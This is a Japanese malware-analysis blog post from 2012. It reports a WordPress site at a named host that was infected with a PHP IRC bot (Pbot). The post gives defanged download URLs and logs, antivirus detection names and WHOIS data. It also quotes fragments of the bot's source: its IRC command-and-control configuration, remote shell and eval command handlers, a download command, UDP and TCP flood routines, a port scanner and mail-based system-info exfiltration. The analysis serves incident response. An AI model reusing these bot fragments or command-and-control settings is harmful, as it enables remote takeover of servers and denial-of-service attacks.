水曜日, 5月 02, 2012

#OCJP-040:日本国内IDCのWordPressホスティング・サイトにPHP/IRC-BOTスパイウェア+DoS攻撃ツールに感染されました。 【対応最中】


* * English Report Can Be Found H E R E * *
WordPress(CMSソフト)のサイトがマルウェアに感染された事件の対応です
サーバの情報は「Apache/1.3.42 (Unix) mod_ssl/2.8.31 OpenSSL/0.9.8e」ベースで運用されている状況で確認したらウェブサービス上に載せているWordpressサービスのplugin(themeのplugin)に脆弱性がありそうです。
リモートから本脆弱性を使いマルウェアをインジェクトされたそうです。
脆弱性については下記のどちらかだと思います↓
CVE-2011-3863, CVE-2011-3862, CVE-2011-3861 CVE-2011-3860, CVE-2011-3858, CVE-2011-3857 CVE-2011-3856, CVE-2011-3855, CVE-2011-3854 CVE-2011-3853, CVE-2011-3852, CVE-2011-3851 CVE-2011-3850
↑CVEの内容を確認する場合こちらのリンクへ御確認どうぞ

発見したマルウェアはPHP/IRC-BOTのネットワーク攻撃ツール(DoSとポートスキャナー)と確認し、現在、未だにアップされている状況なので、誰でも確認が出来ると思います。本事件についての注意点ですが、同じIPアドレスに100以上ドメインが運用されています、同じWordpressバーションが運用されている可能性が高いので、感染が増える可能性があります
さて、詳細内容は下記となります↓
■下記のホスト↓
www.happymeme.com / happymeme.com / 112.78.112.187 

■下記のURL↓

hxxp://happymeme.com/uzumaki//wp-content/themes/autofocus/config.inc.txt hxxp://www.happymeme.com/uzumaki//wp-content/themes/autofocus/config.inc.txt

■ダウンロードの証拠とスナップショット証拠↓

--23:29:35-- hxxp://www.happymeme.com/uzumaki//wp-content/themes/autofocus/config.inc.txt => `config.inc.txt' Resolving www.happymeme.com... 112.78.112.187 Connecting to www.happymeme.com|112.78.112.187|:80... connected. HTTP request sent, awaiting response... HTTP/1.1 200 OK Date: Wed, 02 May 2012 14:29:17 GMT Server: Apache/1.3.42 (Unix) mod_ssl/2.8.31 OpenSSL/0.9.8e Last-Modified: Sun, 29 Apr 2012 05:16:55 GMT ETag: "5b4f-4f9ccec7" Accept-Ranges: bytes Content-Length: 23375 Keep-Alive: timeout=5, max=20 Connection: Keep-Alive Content-Type: text/plain Length: 23,375 (23K) [text/plain] 100%[====================================>] 23,375 --.--K/s 23:29:35 (3.94 MB/s) - `config.inc.txt' saved [23375/23375] --23:29:49-- hxxp://happymeme.com/uzumaki//wp-content/themes/autofocus/config.inc.txt => `config.inc.txt' Resolving happymeme.com... 112.78.112.187 Connecting to happymeme.com|112.78.112.187|:80... connected. HTTP request sent, awaiting response... Length: 23,375 (23K) [text/plain] 100%[====================================>] 23,375 --.--K/s 23:29:50 (346.19 KB/s) - `config.inc.txt' saved [23375/23375]

■ブラウザから安全かつ直ぐに確認が出来ます↓

■マルウェアのファイル自体にテキストのファイルが↓

↑見た通り4月28日にこのファイルが本件のサイトにインジェクトされたそうですね。

■下記のマルウェアを発見しました↓(スキャン結果とマルウェア説明)

File name: config.inc.txt MD5: d7947232160cb5493f7d6f389e6a3ff4 File size: 22.8 KB ( 23375 bytes ) File type: C/TXT Detection ratio: 33 / 42 Analysis date: 2012-05-01 21:27:52 UTC Result: [CLICK]

■本マルウェア名の一覧は下記となります↓

nProtect : Trojan.Dropper.RYF K7AntiVirus : Backdoor VirusBuster : PHP.Shellbot.J F-Prot : PHP/Pbot.B Symantec : PHP.Backdoor.Trojan Norman : PHP/Ircbot.BBPH TrendMicro-HouseCall : BKDR_PHPBOT.SM Avast : PHP:IRCBot-AB [Trj] ClamAV : PHP.Bot Kaspersky : Backdoor.PHP.Pbot.a BitDefender : Trojan.Dropper.RYF Sophos : Troj/PHPBot-F Comodo : Backdoor.PHP.Pbot.A F-Secure : Trojan.Dropper.RYF DrWeb : PHP.BackDoor.14 VIPRE : Backdoor.PHP.Pbot.b (v) (not malicious) AntiVir : PHP/PBot.A.6 TrendMicro : BKDR_PHPBOT.SM McAfee-GW-Edition : Heuristic.BehavesLike.JS.Suspicious.G Emsisoft : Backdoor.PHP.Pbot!IK eTrust-Vet : PHP/Pbot.D Jiangmin : Trojan/Script.Gen Microsoft : Trojan:PHP/Flader.A GData : Trojan.Dropper.RYF Commtouch : PHP/Pbot.B AhnLab-V3 : PHP/Pbot VBA32 : Backdoor.PHP.Pbot.a PCTools : Malware.PHP-Backdoor Rising : Trojan.Script.HTML.Agent.ab Ikarus : Backdoor.PHP.Pbot Fortinet : PHP/Pbot.AK!tr.bdr AVG : PHP/BackDoor.K Panda : Bck/Pbot.B

■マルウェアの種類的には下記の内容となります↓

アファイル  :「○○○.txt / .jpg/.gifなど」 マルウェア種類: トロイ・PHP/IRC-BOT・攻撃ツール、スパイウェア、バックドア マルウェア名 : (上記のマルウェア名前一覧通り) マルウェア機能: リモートでマシンのコマンドを実行機能、スパイウェア、ネットワーク攻撃機能 説明     : 本マルウェアはウェブ脆弱性経由で感染されたサーバへインジェクトされて リモートで下記のURLで実行されたら http://happymeme.com/uzumaki//../config.inc.txt? IRCサーバに繋げて、ハッカーに通知メッセージを送信すれる ハッカーがIRC経由でマシンのアクセスを取った上で色々悪戯コマンドを実行する

■マルウェア調査↓

本件に似たような内容は#OCJP-020となります。#OCJP-020と同じ脆弱性を使われている可能性が高いです。 但し、#OCJP-020よりも本件の仕組みは単純です。先ずはマルウェアファイルは1個だけです。 単純ですが、この1個ファイルに全てIRCBOTの悪い機能を発見しました、例えば↓ ダウンローダー機能、TCP/UDPのDoS攻撃機能とマシン情報の送信機能(スパイウェア機能)が 本件のマルウェアはPHP言語があればWindows OSとUNIX/LinuxOSに対応しています。 中身を見ると本件のマルウェアには下記の機能が持っています↓ 1. ポルトガル語を発見 & ハッキングツールの証拠
下手な英語で、ポルトガル語のコメントがたくさん書いてあります。 恐らくポルトガル語で話している国の方々が作ったハッキングツールと思われます。 例: Impossivel mandar e-mail ensagem enviada para \2" Nao foi possivel fazer o download. Permissao negada. 下記のハッカーグループの証拠を発見↓ #crew@corp. since 2003 edited by: devil__ and MEIAFASE Friend: LP

2. IRC経由BOT種類マルウェアの証拠

var $config = array("server"=>"irc.s4l1ty.info", "port"=>6667, "pass"=>"zero", "prefix"=>"ZERO", "maxrand"=>8, "chan"=>"#zero", "key"=>"", "modes"=>"+iB-x", "password"=>"zero", "trigger"=>".", "hostauth"=>"*" // * for any hostname

3. リモートでサーバのコマンドを実行させる証拠

Designed to execute the shell command of the unix or Windows OS if having PHP installed: もしPHPソフトがあったら下記のコマンドを実行する事が可能になります。 下記に書いたようにOSはWindowsとunix経由の対応ですね * .sexec // uses shell_exec() //execute a command * .exec // uses exec() //execute a command * .cmd // uses popen() //execute a command * .php // uses eval() //execute php code

4. ファイルダウンロード機能

* .download //download a file else { $this->privmsg($this->config['chan'],"[\2download\2]: use .download http://your.host/file /tmp/file"); }

5. 感染されたサーバからIRC経由でメッセージを送信する証拠

$this->privmsg($this->config['chan2'],"[\2uname!\2]: $uname (safe: $safemode)"); $this->privmsg($this->config['chan2'],"[\2vuln!\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");

6. DNS検索機能↓

config.inc.txt(15): * .dns //dns lookup config.inc.txt(206): case "dns": config.inc.txt(212): $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1])); config.inc.txt(216): $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));

7. DoS / DDoS 攻撃機能

7.1. TCP Flood機能↓ * .tcpflood //tcpflood attack case "tcpflood": if(count($mcmd)>5) {$this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);} function tcpflood($host,$packets,$packetsize,$port,$delay) {$this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]"); $packet = ""; for($i=0;$i<$packetsize;$i++) 7.2. UDP Flood機能↓ * .udpflood //udpflood attack function udpflood($host,$packetsize,$time) { $this->privmsg($this->config['chan'],"[\2Attack Iniciado com sucesso!\2]"); $packet = ""; for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); } $timei = time();$i = 0; while(time()-$timei < $time) { $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5); fwrite($fp,$packet);fclose($fp);$i++; 7.3. Portscanner /ポートスキャナー↓ * .pscan //port scan case "pscan": // .pscan 6667 if(count($mcmd) > 2) { if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15)) $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2"); else $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");

8. スパイウェア(spyware)機能↓

if(!mail($mcmd[1],"InBox Test","#crew@corp. since 2003\n\nip: $c \nsoftware: $b \nsystem: $a \n {$this->privmsg($this->config['chan'],"[\2inbox\2]: Unable to send");} else {$this->privmsg($this->config['chan'],"[\2inbox\2]: Message sent to \2".$mcmd[1]."\2");} $this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)"); $this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");

■感染されたサービスの情報(手続きと連絡先について)

ドメイン登録情報↓
Domain Name: happymeme.com Created On: 2007-02-25 13:40:54.0 Last Updated On: 2012-02-27 21:37:36.0 Expiration Date: 2013-02-25 04:40:54.0 Registrant Name: Whois Privacy Protection Service Registrant Organization: paperboy and co. Registrant Street1: 2-7-21 Tenjin Chuo-ku Registrant Street2: Tenjin Prime 8F Registrant City: Fukuoka-shi Registrant State: Fukuoka Registrant Postal Code: 8100001 Registrant Country: JP Registrant Phone: 81-927137999 Registrant Fax: 81-927137944 Tech Email: privacy@whoisprivacyprotection.info Name Server: ns1.dns.ne.jp Name Server: ns2.dns.ne.jp

インターネットのルーティング情報

IP: 112.78.112.187 inetnum: 112.78.112.0 - 112.78.112.255 netname: SAKURA-NET descr: SAKURA Internet Inc. country: JP admin-c: KT749JP tech-c: KW419JP remarks: This information has been partially mirrored by APNIC from remarks: JPNIC. To obtain more specific information, please use the remarks: JPNIC WHOIS Gateway at remarks: http://www.nic.ad.jp/en/db/whois/en-gateway.html or remarks: whois.nic.ad.jp for WHOIS client. (The WHOIS client remarks: defaults to Japanese output, use the /e switch for English remarks: output) changed: apnic-ftp@nic.ad.jp 20090303 changed: apnic-ftp@nic.ad.jp 20090331 source: JPNIC

グラフを見ればこんな感じです↓ 112.78.112.0/20 SAKURA-C (4/OSAKA) SAKURA Internet // WEST JAPAN BACKBONE 1-8-15 Kyutaro-cho, Chuo Osaka 541-0056, Japan AS9371 SAKURA-C SAKURA Internet // WEST JAPAN BACKBONE Sakaisuji Honmachi Bldg. 9F 1-8-14 Minami-Honmachi, Chuo-ku Osaka 541-0054, Japan

■注意点↓

同じIPアドレスに112ドメインを発見しましたので、恐らくいくつかWordPressを使っていると思います。 同じIPにあるドメインの一覧は下記のようになります↓ グラフは下記となります↓
---
ゼロデイ・ジャパン http://0day.jp
マルウェア研究所
Analyst: アドリアン・ヘンドリック / Hendrik ADRIAN
Sponsored by: 株式会社ケイエルジェイテック


TO BE NOTICED: All of the findings and exposed material in this site is belong to the site owner and is an original
materials. Any COPY of research material without written permission from unixfreaxjp/site owner is strictly prohibited. Any attempt to camouflage and attempt to owning this research material will be prosecuted by law.

0 件のコメント:

コメントを投稿